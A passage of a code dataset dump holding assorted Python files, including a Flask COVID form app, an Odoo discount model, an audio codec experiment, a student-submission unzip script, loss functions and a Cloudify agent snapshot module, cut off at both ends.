params['local_uri']\r\nelse:\r\n app.config['SQLALCHEMY_DATABASE_URI'] = params['prod_uri']\r\n\r\ndb=SQLAlchemy(app)\r\n\r\nclass covid(db.Model):\r\n sno = db.Column(db.Integer, primary_key=True)\r\n name = db.Column(db.String(80), unique=False, nullable=False)\r\n age = db.Column(db.Integer, unique=False, nullable=False)\r\n location = db.Column(db.String(120), unique=False, nullable=False)\r\n covidStatus=db.Column(db.String(120), unique=False, nullable=False)\r\n\r\n\r\n\r\n@app.route('/')\r\ndef form():\r\n return render_template(\"form.html\")\r\n\r\n@app.route('/login')\r\ndef lo():\r\n return render_template(\"login.html\")\r\n\r\n\r\n@app.route('/hello',methods = ['POST', 'GET'])\r\ndef logi():\r\n if request.method == 'POST':\r\n name = request.form['name']\r\n age = request.form['age']\r\n location = request.form['location']\r\n status=request.form['status']\r\n\r\n\r\n entry=covid(name=name, age=age, location=location, covidStatus=status)\r\n\r\n count= covid.query.filter_by(location=location).filter_by(covidStatus=\"yes\").count()\r\n\r\n \r\n\r\n \r\n db.session.add(entry)\r\n db.session.commit()\r\n\r\n\r\n return render_template(\"hello.html\",name=name,count=count)\r\n \r\n\r\nif __name__ == '__main__':\r\n app.run()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"132357721","text":"def get_max_sums(arr, k):\n prefix_max = []\n prefix_max_indices = []\n _curr_max = -float('inf')\n index = -1\n for i, elem in enumerate(arr):\n if elem > _curr_max:\n _curr_max = elem\n index = i\n prefix_max.append(_curr_max)\n prefix_max_indices.append(index)\n\n suffix_max = [-1 for _ in arr]\n suffix_max_indices = [-1 for _ in arr]\n _curr_max = -float('inf')\n index = -1\n for i in range(len(arr) - 1, -1, -1):\n if arr[i] >= _curr_max:\n _curr_max = arr[i]\n index = i\n suffix_max[i] = _curr_max\n suffix_max_indices[i] = index\n\n s = 0\n indices = []\n for j in range(len(arr)):\n if j - k < 0:\n continue\n if j + k >= len(arr):\n continue\n _sum = arr[j] + prefix_max[j - k] + suffix_max[j + k]\n if _sum > s:\n s = _sum\n indices = [\n prefix_max_indices[j - k],\n j,\n suffix_max_indices[j + k]\n ]\n\n return s, indices\n\n\ndef solve(arr, k):\n s = sum(arr[:k])\n subarray_sum = [s]\n for i in range(k, len(arr)):\n s += arr[i]\n s -= arr[i - k]\n subarray_sum.append(s)\n\n return get_max_sums(subarray_sum, k)\n\n\nA = [1, 2, 1, 2, 6, 7, 5, 1]\nB = 2\nprint(solve(A, B))\n","sub_path":"src/arrays/maximum-sum-of-3-non-overlapping-subarrays.py","file_name":"maximum-sum-of-3-non-overlapping-subarrays.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"129383217","text":"# -*- coding: utf-8 -*-\n# 1 : imports of python lib\n\n# 2 : imports of odoo\nfrom odoo import api, fields, models\n\n\nclass SupplierInfo(models.Model):\n _inherit = 'product.supplierinfo'\n\n # Add some extra fields to the model\n mrx_product_manufacturer = fields.Many2one(\n related='product_tmpl_id.mrx_product_manufacturer',\n readonly=True,\n )\n mrx_price_group = fields.Many2one(\n 'mrx.product.vendordiscount',\n string='Price Group',\n store=True,\n )\n mrx_discount_type = fields.Selection(\n selection=[('net_price','Net Price'),('price_group','Price Group'),('product_only','Product Only')],\n default='price_group',\n help='Discount type to be used for this product',\n string='Discount Type',\n store=True,\n required=True,\n )\n mrx_discount = fields.Float(\n compute='_compute_discount',\n digits='Discount',\n help='Discount percentage given by the supplier. The value of this field is handed over to other modules.',\n string='Discount %',\n store=True,\n )\n mrx_computed_purchase_price = fields.Float(\n compute='_compute_purchase_price',\n digits='Product Price',\n string='Purchase Price',\n readonly=True,\n store=True,\n )\n mrx_packaging_unit = fields.Integer(\n default=1,\n string='Packaging Unit',\n help='How many units are in one package?',\n store=True,\n )\n mrx_pricing_unit = fields.Integer(\n default=1,\n string='Pricing Unit',\n help='How many units to get for this price?',\n store=True,\n )\n\n # If \"net_price\" is used, then set discount to 0.0\n def get_net_price_discount(self, line):\n return 0.0\n\n # Set vendor discount for the given price group\n def get_price_group_discount(self, line):\n if line.name and line.mrx_product_manufacturer and line.mrx_price_group and line.mrx_discount_type == 'price_group':\n discount_id = self.env['mrx.product.vendordiscount']._search([('partner_id', '=', line.name.id), ('manufacturer_id', '=', line.mrx_product_manufacturer.id), ('name', '=', line.mrx_price_group.name)], limit=1)\n return self.env['mrx.product.vendordiscount'].browse(discount_id).discount\n else:\n return 0.0\n\n # If \"product_only\" is used, then set discount to the typed amount by the user\n def get_product_only_discount(self, line):\n return line.mrx_discount\n\n # Decide how to compute product discount: Net Price / Price Group / Product Only\n @api.depends('mrx_discount_type', 'mrx_price_group')\n def _compute_discount(self):\n for line in self:\n method_name = 'get_' + str(line.mrx_discount_type) + '_discount'\n method = getattr(self, method_name)\n line.mrx_discount = method(line)\n\n # Compute purchase price based on the above specified criteria\n @api.depends('price', 'mrx_discount', 'mrx_pricing_unit')\n def _compute_purchase_price(self):\n for line in self:\n line.mrx_computed_purchase_price = (line.price / line.mrx_pricing_unit) * (1 - (line.mrx_discount or 0.0) / 100)\n","sub_path":"mrx_supplier_discount/models/product_supplierinfo.py","file_name":"product_supplierinfo.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"619005348","text":"# importeer de random module\r\nimport random\r\n\r\n# Print spelinstructies af\r\nprint(\"Blad steen schaar win je op de volgende manier: \\n\"\r\n + \"Steen vs papier->Papier wint \\n\"\r\n + \"Steen vs schaar->Steen wint \\n\"\r\n + \"Blad vs schaar->Schaar wint \\n\")\r\n\r\n\r\nwhile True:\r\n print(\"Kies uit \\n 1. steen \\n 2. papier \\n 3. schaar \\n\")\r\n\r\n # neem input van de gebruiker\r\n choice = int(input(\"Jouw beurt: \"))\r\n\r\n # loop tot er een ongeldige waarde wordt ingegeven\r\n while choice > 3 or choice < 1:\r\n choice = int(input(\"Geef een geldige input: \"))\r\n\r\n # de keuze van de gebruiker aan een variabele koppelen\r\n if choice == 1:\r\n choice_name = 'steen'\r\n elif choice == 2:\r\n choice_name = 'papier'\r\n else:\r\n choice_name = 'schaar'\r\n\r\n # print user choice\r\n print(\"Uw keuze is: \" + choice_name)\r\n print(\"\\nNu is het de beurt aan de computer.......\")\r\n\r\n # De computer kiest willekeurig een nummer van de random module\r\n comp_choice = random.randint(1, 3)\r\n\r\n # loop totdat de computer keuze is gelijk aan de waarde van de keuzemogelijkheden\r\n while comp_choice == choice:\r\n comp_choice = random.randint(1, 3)\r\n\r\n # de keuze van de computer wordt gekoppeld aan een variabele\r\n if comp_choice == 1:\r\n comp_choice_name = 'steen'\r\n elif comp_choice == 2:\r\n comp_choice_name = 'papier'\r\n else:\r\n comp_choice_name = 'schaar'\r\n\r\n print(\"De keuze van de computer is: \" + comp_choice_name)\r\n\r\n print(choice_name + \" vs \" + comp_choice_name)\r\n\r\n # voorwaarden om te winnen\r\n if ((choice == 1 and comp_choice == 2) or\r\n (choice == 2 and comp_choice == 1)):\r\n print(\"blad wint => \", end=\"\")\r\n result = \"papier\"\r\n\r\n elif ((choice == 1 and comp_choice == 3) or\r\n (choice == 3 and comp_choice == 1)):\r\n print(\"steen wint =>\", end=\"\")\r\n result = \"steen\"\r\n else:\r\n print(\"schaar wint =>\", end=\"\")\r\n result = \"schaar\"\r\n\r\n # Print af of de gebruiker of de computer gewonnen is\r\n if result == choice_name:\r\n print(\" ** Jij hebt gewonnen ** \")\r\n else:\r\n print(\" ** De computer heeft gewonnen ** \")\r\n\r\n print(\"Wil je nog eens spelen? (J/N)\")\r\n ans = input()\r\n\r\n # als de gebruiker n of N ingeeft, stopt het programma\r\n if ans == 'n' or ans == 'N':\r\n break\r\n\r\n# nadien komen we uit de while loop en willen we de gebruiker bedanken om het spel te spelen\r\nprint(\"\\nBedankt om te spelen!\")\r\n","sub_path":"steenpapierschaar/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"20093834","text":"import pyaudio\nimport socket\nfrom threading import Thread\nimport numpy as np\nimport pywt as wt\nimport scipy \nfrom scipy.signal import firwin\nfrom scipy.signal import lfilter\nfrom io import BytesIO\nimport codec as comp\nimport matplotlib.pyplot as plt\n\nCHUNK = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nITERACIONESDWT = 9\nFRAMES_TO_SEND = []\nFRAMES_TO_PLAY = []\n\nP = pyaudio.PyAudio()\n\nINPUT_STREAM = P.open(format = FORMAT,\n channels = CHANNELS,\n rate = RATE,\n input = True,\n frames_per_buffer = CHUNK,\n )\n\nOUTPUT_STREAM = P.open(format = FORMAT,\n channels = CHANNELS,\n rate = RATE,\n output = True,\n frames_per_buffer = CHUNK,\n )\n\n\ndef udpSenderStream():\n udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n #while True:\n #if len(FRAMES_TO_SEND) > 0:\n #udp.sendto(FRAMES_TO_SEND.pop(0), (\"127.0.0.1\", 12345))\n\n udp.close()\n\ndef udpReceiverStream():\n\n udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udp.bind((\"127.0.0.1\", 12345))\n\n #while True:\n #soundData, addr = udp.recvfrom(CHUNK * CHANNELS *2)\n #FRAMES_TO_PLAY.append(soundData)\n\n udp.close()\n\ndef record(stream):\n while True:\n data = stream.read(CHUNK)\n\n #x = np.arange(0, 2048)\n #plt.plot(x, np.fromstring(data, np.int16), linewidth=2, linestyle=\"-\", c=\"b\")\n #plt.show()\n #plt.close()\n\n #print('--------------------------------------------------')\n #print(\"DATA RECORDED\")\n #print('--------------------------------------------------')\n #print(np.fromstring(data, np.int16)) \n\n real, imaginaria = comp.trasnformada(np.fromstring(data, np.int16))\n xrn = comp.normalizar(real, True)\n xin = comp.normalizar(imaginaria, False)\n \n imagR = comp.comprimirImagen(xrn)\n imagI = comp.comprimirImagen(xin)\n\n #FRAMES.append(imagR)\n #FRAMES.append(imagI)\n\n imagRObtenida = comp.Image.open(BytesIO(imagR))\n imagIObtenida = comp.Image.open(BytesIO(imagI))\n\n xr = comp.denormalizar(imagRObtenida.getdata(), True)\n xi = comp.denormalizar(imagIObtenida.getdata(), False)\n complejo = comp.unir(xr, xi)\n inversa = comp.fourier.ifft(complejo)\n print(np.int16(inversa.real))\n # Esto es trampa\n FRAMES_TO_PLAY.append(np.int16(inversa.real))\n\n #print('--------------------------------------------------')\n #print(\"DATA DECODED\")\n #print('--------------------------------------------------')\n #print(inversa.real) \n #input()\n\ndef play(stream):\n BUFFER = 10\n while True:\n #if len(FRAMES_TO_PLAY) == BUFFER:\n while True:\n if len(FRAMES_TO_PLAY) > 0:\n # POR AHORA EL AUDIO A REPRODUCIR LO COGEMOS DIRECTAMENTE\n # DEL INVERSA.REAL QUE SE DECODIFICA ANTES DE ENVIARLO A \n # TRAVÉS DE LA RED\n audioData = FRAMES_TO_PLAY.pop(0).copy(order='C')\n \n # FILTER 1\n # spell out the args that were passed to the Matlab function\n N = 10\n Fc = 40\n Fs = 1600\n # provide them to firwin\n h = scipy.signal.firwin(numtaps=N, cutoff=40, nyq=Fs/2)\n # 'x' is the time-series data you are filtering\n audioData1 = scipy.signal.lfilter(h, 1.0, audioData)\n\n # FILTER 2\n #n = 15 # the larger n is, the smoother curve will be\n #b = [1.0 / n] * n\n #a = 1\n #audioData2 = lfilter(b, a, audioData) \n \n # PLOTS\n #x = np.arange(0, 2048)\n \n #plt.plot(x, audioData1, linewidth=2, linestyle=\"-\", c=\"b\")\n #plt.show()\n #plt.close()\n\n #plt.plot(x, audioData2, linewidth=2, linestyle=\"-\", c=\"b\")\n #plt.show()\n #plt.close()\n\n stream.write(audioData1, CHUNK)\n #print('--------------------------------------------------')\n #print(\"DATA RECEIVED\")\n #print('--------------------------------------------------')\n #print(audioData)\n #input()\n\n\ndef main():\n t_r = Thread(target = record, args = (INPUT_STREAM,))\n t_p = Thread(target = play, args=(OUTPUT_STREAM,))\n t_us = Thread(target = udpSenderStream)\n t_ur = Thread(target = udpReceiverStream)\n t_r.setDaemon(True)\n t_p.setDaemon(True)\n t_us.setDaemon(True)\n t_ur.setDaemon(True)\n t_r.start()\n t_p.start()\n t_us.start()\n t_ur.start()\n t_r.join()\n t_p.join()\n t_us.join()\n t_ur.join()\n\n\nif __name__ == '__main__':\n main()","sub_path":"inter.py","file_name":"inter.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"456801168","text":"from PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_Form(object):\n def setupUi(self, Form):\n Form.setObjectName(\"Form\")\n Form.resize(559, 616)\n self.label = QtWidgets.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(10, 20, 91, 16))\n self.label.setObjectName(\"label\")\n self.comboBox = QtWidgets.QComboBox(Form)\n self.comboBox.setGeometry(QtCore.QRect(100, 20, 79, 23))\n self.comboBox.setObjectName(\"comboBox\")\n self.label_2 = QtWidgets.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(330, 20, 101, 16))\n self.label_2.setObjectName(\"label_2\")\n self.comboBox_2 = QtWidgets.QComboBox(Form)\n self.comboBox_2.setGeometry(QtCore.QRect(440, 20, 79, 23))\n self.comboBox_2.setObjectName(\"comboBox_2\")\n self.label_3 = QtWidgets.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(10, 50, 531, 20))\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(Form)\n self.label_4.setGeometry(QtCore.QRect(30, 90, 57, 15))\n self.label_4.setObjectName(\"label_4\")\n self.label_5 = QtWidgets.QLabel(Form)\n self.label_5.setGeometry(QtCore.QRect(300, 90, 57, 15))\n self.label_5.setObjectName(\"label_5\")\n self.label_6 = QtWidgets.QLabel(Form)\n self.label_6.setGeometry(QtCore.QRect(10, 100, 531, 20))\n self.label_6.setObjectName(\"label_6\")\n self.l2 = QtWidgets.QListWidget(Form)\n self.l2.setGeometry(QtCore.QRect(290, 120, 239, 386))\n self.l2.setObjectName(\"l2\")\n self.l1 = QtWidgets.QListWidget(Form)\n self.l1.setGeometry(QtCore.QRect(30, 120, 239, 386))\n self.l1.setObjectName(\"l1\")\n self.pushButton = QtWidgets.QPushButton(Form)\n self.pushButton.setGeometry(QtCore.QRect(30, 550, 191, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.label_7 = QtWidgets.QLabel(Form)\n self.label_7.setGeometry(QtCore.QRect(290, 530, 91, 16))\n self.label_7.setObjectName(\"label_7\")\n self.lineEdit = QtWidgets.QLineEdit(Form)\n self.lineEdit.setGeometry(QtCore.QRect(290, 550, 241, 23))\n self.lineEdit.setObjectName(\"lineEdit\")\n\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n\n def retranslateUi(self, Form):\n _translate = QtCore.QCoreApplication.translate\n Form.setWindowTitle(_translate(\"Form\", \"Form\"))\n self.label.setText(_translate(\"Form\", \"Choose Team: \"))\n self.label_2.setText(_translate(\"Form\", \"Choose Match : \"))\n self.label_3.setText(_translate(\"Form\", \"--------------------------------------------------------------------------------------------------------------------------\"))\n self.label_4.setText(_translate(\"Form\", \"Players \"))\n self.label_5.setText(_translate(\"Form\", \"Score\"))\n self.label_6.setText(_translate(\"Form\", \"-------------------------------------------------------------------------------------------------------------------------\"))\n self.pushButton.setText(_translate(\"Form\", \"Calculate Score\"))\n self.label_7.setText(_translate(\"Form\", \"Total Score : \"))\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n Form = QtWidgets.QWidget()\n ui = Ui_Form()\n ui.setupUi(Form)\n Form.show()\n sys.exit(app.exec_())\n","sub_path":"Py files/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"64427356","text":"#!/usr/bin/env python\n\n#---------------------------------------------------------\n#Using weights obtained from training data, compute predicted response\n#Output target and predicted response as input of reducer\n#---------------------------------------------------------\n\n\nimport numpy as np\nimport sys\n\n# number of attributes\nattri = 13\n\n# Read weights to array 'w'\n#f_weight = open( '/user/hduser/boston/input/weights.txt' , 'r' )\nf_weight = open( 'weights.txt' , 'r' )\nw = np.loadtxt( f_weight )\n\ntarget_sum = 0\npredict_sum = 0\ncount = 0\n\n# Open test data file\n#f_test = open( '../input/boston.tes' , 'r' )\n\n#for line in f_test:\nfor line in sys.stdin:\n \n # Counting number of testing instances\n count += 1\n\n # Split line into a list\n ls = line.split()\n la = np.asarray( ls , dtype = np.float32 )\n\n # First 13 elements\n x = la[ 0:attri:1 ]\n\n # Target\n y_t = la[ attri ]\n target_sum += y_t\n\n # Predicted response\n y_p = np.matmul( w.T , x )\n predict_sum += y_p\n\n # Print target and prediction for reducer\n print( '{}\\t{}'.format( y_t , y_p ) )\n#f_test.close()\n\ntarget_ave = target_sum / count\npredict_ave = predict_sum / count\n#print( '{}\\t{},{}'.format( '00ave' , target_ave , predict_ave ) )\n\n#path = '/home/hduser/big-data-project/boston/code/'\n#of = open( path + 'test_ave.txt' , 'w' )\nof = open( 'test_ave.txt' , 'w' )\nof.write( '# Average of testing data: Target and Prediction\\n' )\nof.write( '{}\\t{}'.format( target_ave , predict_ave ) )\nof.close()\n","sub_path":"boston/code/test_mapper.py","file_name":"test_mapper.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"387289612","text":"from django.shortcuts import render\nfrom homepage.models import blog \n\nfrom .forms import BlogPosts \n\n# our forms class is BlogPosts\n# Create your views here.\n\n############## Authentication ###############\nfrom django.contrib.auth import authenticate,login,logout\nfrom helloworld import settings\nfrom django.contrib.auth.models import User #this is for auth model\n######################################################\ndef home(request):\n all_objects= blog.objects.all()\n zero_object= all_objects[0]\n zero_objects_context=zero_object.context\n \n template=\"home.html\" \n form = BlogPosts(request.POST or None)\n if form.is_valid():\n variable = form.save(commit='false')\n variable.save() \n \n \n context={\n \"formvar\": form,\n \"all_objects\":all_objects, \n \"zero_object\":zero_object,\n \"zero_objects_context\":zero_objects_context,\n \n }\n return render(request,template,context)","sub_path":"lecture_code/lecture7/src/homepage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"119037291","text":"import sys\nimport zipfile\nimport os\n\ndef unzip(argv):\n # argv should only process 2 arguments\n if len(argv) != 2:\n print(\"> Invalid input. Please use the following format:\")\n print(f'$ python3 unzip.py zipped-filename destination-directory')\n return False\n\n # Get command line arguments\n zipped = argv[0]\n destination = argv[1]\n\n # Unzip file\n try:\n with zipfile.ZipFile(zipped, 'r') as read:\n read.extractall(destination)\n except:\n return False\n\n # Remove zipped assignment file\n os.system(f\"rm -rf *.zip\")\n\n # Navigate to the destination directory\n os.chdir(destination)\n\n # Remove redundant .txt files\n os.system(\"rm *.txt\")\n\n # For each zipped assignment in the destination directory\n for assignment in os.listdir(zipped[0:len(zipped) - 4]):\n # Check if the file is actually a zipped folder\n if assignment[len(assignment)-3:] != \"zip\":\n continue\n\n # Get student username from auto-generated filename from BlackBoard\n username = assignment.split(\"_\")[1]\n\n # Unzip student file\n try:\n # Find the path to the assignment\n assignment_path = zipped[0:len(zipped) - 4] + \"/\" + assignment\n \n with zipfile.ZipFile(assignment_path, 'r') as read:\n read.extractall(username)\n except:\n return False\n\n # Remove zipped assignment file\n os.system(f\"rm -rf *.zip\")\n\n return True\n\n\nif __name__ == '__main__':\n # Syntax: python3 unzip.py zipped destination\n succeeded = unzip(sys.argv[1:])\n\n print(\n \"> Successfully unzipped file!\"\n if succeeded\n else \"> An error occurred when trying to unzip file!\"\n )\n","sub_path":"unzip.py","file_name":"unzip.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"280889066","text":"\"\"\"\nreference: fluent python p.124\n\"\"\"\n\nimport locale\n\nfruits = ['caju', 'atemoia', 'cajá', 'açaí', 'acerola']\n\nprint(sorted(fruits)) # ['acerola', 'atemoia', 'açaí', 'caju', 'cajá'] # not always desired\n\nlocale.setlocale(locale.LC_COLLATE, 'pt_BR.UTF-8') # 'pt_BR.UTF-8'\nsorted_fruits = sorted(fruits, key=locale.strxfrm)\nprint(sorted_fruits) # ['açaí', 'acerola', 'atemoia', 'cajá', 'caju']\n","sub_path":"src/fluent_python/data_structure/text_vs_byte/sort/sort_01_unicode_text.py","file_name":"sort_01_unicode_text.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"500957503","text":"from math import log, exp\nfrom numpy import array\n\nclass LossFunction:\n\tdef surprisal(probs):\n\t\t\"\"\"\n\t\t\tNote: by logarithm property,\n\t\t\t-log(x) = log(1.0 / x), x > 0\n\t\t\"\"\"\n\t\tif type(probs) is float or type(probs) is int:\n\t\t\treturn -log(probs, 2)\n\n\t\tif abs(sum(probs) - 1.0) > 1.0e-8:\n\t\t\traise ValueError(\"Probs must sum up to 1.0\")\n\n\t\tsurprisal_vec = array(\\\n\t\t\t[-log(p_val, 2) \n\t\t\tfor p_val in probs])\n\n\t\treturn surprisal_vec\n\n\tdef entropy(probs):\n\t\t\"\"\"\n\t\t\tShannon entropy is the weighted\n\t\t\taverage of surprisal of each outcome.\n\t\t\tThe weights are the probability of\n\t\t\teach outcome to happen.\n\t\t\"\"\"\n\t\tif sum(probs) != 1.0:\n\t\t\traise ValueError(\"Sum of probs must be 1.0\")\n\n\t\treturn sum(array(probs) * LossFunction.surprisal(probs))\n\n\tdef cross_entropy(true_probs, pred_probs):\n\t\t\"\"\"\n\t\t\tCrossEntropy is nothing more than\n\t\t\tShannon's Entropy concepted, but\n\t\t\tthe \"surprisal\" factor is calculated\n\t\t\tusing the predicted probabilities\n\t\t\tinstead of the true probability.\n\t\t\"\"\"\n\t\tif abs(sum(true_probs) - 1.0) > 1.0e-8 or abs(sum(pred_probs) - 1.0) > 1.0e-8:\n\t\t\traise ValueError(\"Sum of probability vectors must be 1.0\")\n\n\t\treturn sum(true_probs * LossFunction.surprisal(pred_probs))\n\n\tdef binCrossEntropy(class_probs):\n\t\tif len(class_probs) != 2:\n\t\t\traise ValueError(\"Length of class probs must be 2.\")\n\t\tprob_a, prob_b = class_probs\n\n\t\tif abs(prob_a + prob_b - 1.0) > 1.0e-8:\n\t\t\traise ValueError(\"Probability must sum 1.0\")\n\n\t\treturn prob_a * LossFunction.surprisal(prob_a) + \\\n\t\t\t(1.0 - prob_a) * LossFunction.surprisal(1.0 - prob_a)\n\n\tdef avg_binary_loss(true_labels, pred_labels):\n\t\treturn (1.0 / len(true_labels)) * \\\n\t\t\tsum(array(true_labels) != array(pred_labels))\n\n\tdef mean_sqr_error(true_values, pred_values):\n\t\treturn (1.0 / len(true_values)) * \\\n\t\t\tsum((array(true_values) - array(pred_values))**2.0)\n\n\tdef softmax(values):\n\t\t\"\"\"\n\t\t\tA.K.A Normalized Exponential Function\n\t\t\"\"\"\n\t\texp_sum = sum([exp(val) for val in values])\n\n\t\tsoftmax_vec = array([\n\t\t\texp(val) / exp_sum for val in values\n\t\t])\n\n\t\treturn softmax_vec\n\nif __name__ == \"__main__\":\n\tfrom collections import OrderedDict\n\timport sys\n\n\tif len(sys.argv) < 2:\n\t\tprint(\"usage:\", sys.argv[0], \n\t\t\t\" [sec_vals_sep_by_spaces]\")\n\t\texit(1)\n\n\tvals_a = list(map(float, sys.argv[1].split(\" \")))\n\tvals_b = None\n\tif len(sys.argv) >= 3:\n\t\tvals_b = list(map(float, sys.argv[2].split(\" \")))\n\n\tfunc_args = OrderedDict([\n\t\t(\"surprisal\" , (vals_a,)),\n\t\t(\"entropy\" , (vals_a,)),\n\t\t(\"softmax\" , (vals_a,)),\n\t])\n\n\tfunc_addr = [\n\t\tLossFunction.surprisal, \n\t\tLossFunction.entropy, \n\t\tLossFunction.softmax,\n\t]\n\n\tif vals_b is not None:\n\t\tfunc_args[\"cross_entropy\"] = (vals_a, vals_b)\n\t\tfunc_addr.append(LossFunction.cross_entropy)\n\t\tfunc_args[\"avg_binary_loss\"] = (vals_a, vals_b)\n\t\tfunc_addr.append(LossFunction.avg_binary_loss)\n\t\tfunc_args[\"mean_sqr_error\"] = (vals_a, vals_b)\n\t\tfunc_addr.append(LossFunction.mean_sqr_error)\n\n\tif len(vals_a) == 2:\n\t\tfunc_args[\"binary_cross_entropy\"] = (vals_a,)\n\t\tfunc_addr.append(LossFunction.binCrossEntropy)\n\t\n\tprint(\"Measures calculated:\")\n\tfor func_label, func_addr in zip(func_args.keys(), func_addr):\n\t\tcur_args = func_args[func_label]\n\t\tres = func_addr(*cur_args)\n\t\tprint(func_label, \"\\t:\", res)\n\n","sub_path":"validation-framework/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"630171324","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : schackartk\nDate : 2019-02-07\nPurpose: Homework 4, imitate cat -n using python\n\"\"\"\n\nimport os\nimport sys\n\n\n# --------------------------------------------------\ndef main():\n args = sys.argv[1:]\n\n if len(args) != 1:\n print('Usage: {} FILE'.format(os.path.basename(sys.argv[0])))\n sys.exit(1)\n\n arg = args[0]\n\n if not os.path.isfile(arg):\n print('{} is not a file'.format(arg))\n sys.exit(1) \n \n lines = []\n \n for line in open(arg):\n lines.append(line)\n \n for i, line in enumerate(lines):\n print('{:3}: {}'.format(i, line,), end='')\n \n\n\n# --------------------------------------------------\nmain()\n","sub_path":"assignments/04-python-bash/cat_n.py","file_name":"cat_n.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"271107947","text":"########\n# Copyright (c) 2015 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\nimport os\nimport json\n\nfrom cloudify.workflows import ctx\nfrom cloudify.context import BootstrapContext\n\nfrom .utils import is_compute\n\n\nclass Agents(object):\n _AGENTS_FILE = 'agents.json'\n\n def restore(self, tempdir, client):\n with open(os.path.join(tempdir, self._AGENTS_FILE)) as agents_file:\n agents = json.load(agents_file)\n self._insert_agents_data(client, agents)\n\n def dump(self, tempdir, client, manager_version):\n result = {}\n defaults = self._get_defaults(manager_version)\n for deployment in client.deployments.list():\n deployment_result = self._get_deployment_result(\n client,\n deployment.id,\n defaults\n )\n result[deployment.id] = deployment_result\n\n self._dump_result_to_file(tempdir, result)\n\n def _dump_result_to_file(self, tempdir, result):\n agents_file_path = os.path.join(tempdir, self._AGENTS_FILE)\n with open(agents_file_path, 'w') as out:\n out.write(json.dumps(result))\n\n @staticmethod\n def _get_defaults(manager_version):\n broker_config = BootstrapContext(ctx.bootstrap_context).broker_config()\n return {\n 'version': str(manager_version),\n 'broker_config': broker_config\n }\n\n def _get_deployment_result(self, client, deployment_id, defaults):\n deployment_result = {}\n for node in client.nodes.list(deployment_id=deployment_id):\n if is_compute(node):\n node_result = self._get_node_result(\n client,\n deployment_id,\n node.id,\n defaults\n )\n deployment_result[node.id] = node_result\n return deployment_result\n\n def _get_node_result(self, client, deployment_id, node_id, defaults):\n node_result = {}\n for node_instance in client.node_instances.list(\n deployment_id=deployment_id,\n node_name=node_id):\n node_instance_result = self._get_node_instance_result(\n node_instance,\n defaults)\n node_result[node_instance.id] = node_instance_result\n return node_result\n\n @staticmethod\n def _get_node_instance_result(node_instance, defaults):\n node_instance_result = {}\n current = node_instance.runtime_properties.get('cloudify_agent', {})\n for k, v in defaults.iteritems():\n node_instance_result[k] = current.get(k, v)\n return node_instance_result\n\n def _insert_agents_data(self, client, agents):\n for deployment_id, nodes in agents.iteritems():\n try:\n self._create_agent(client, nodes)\n except Exception:\n ctx.logger.warning('Failed restoring agents for '\n 'deployment {0}'.format(deployment_id),\n exc_info=True)\n\n def _create_agent(self, client, nodes):\n for node_instances in nodes.itervalues():\n for node_instance_id, agent in node_instances.iteritems():\n broker_config = self._get_broker_config(agent)\n node_instance = client.node_instances.get(node_instance_id)\n runtime_properties = node_instance.runtime_properties\n old_agent = runtime_properties.get('cloudify_agent', {})\n if not broker_config.get('broker_ip'):\n broker_config['broker_ip'] = \\\n old_agent.get('manager_ip', '')\n agent['broker_config'] = broker_config\n old_agent.update(agent)\n runtime_properties['cloudify_agent'] = old_agent\n # Results of agent validation on old manager.\n # Might be incorrect for new manager.\n runtime_properties.pop('agent_status', None)\n client.node_instances.update(\n node_instance_id=node_instance_id,\n runtime_properties=runtime_properties,\n version=node_instance.version\n )\n\n @staticmethod\n def _get_broker_config(agent):\n # We need to retrieve broker_config:\n # 3.3.1 and later\n if 'broker_config' in agent:\n broker_config = 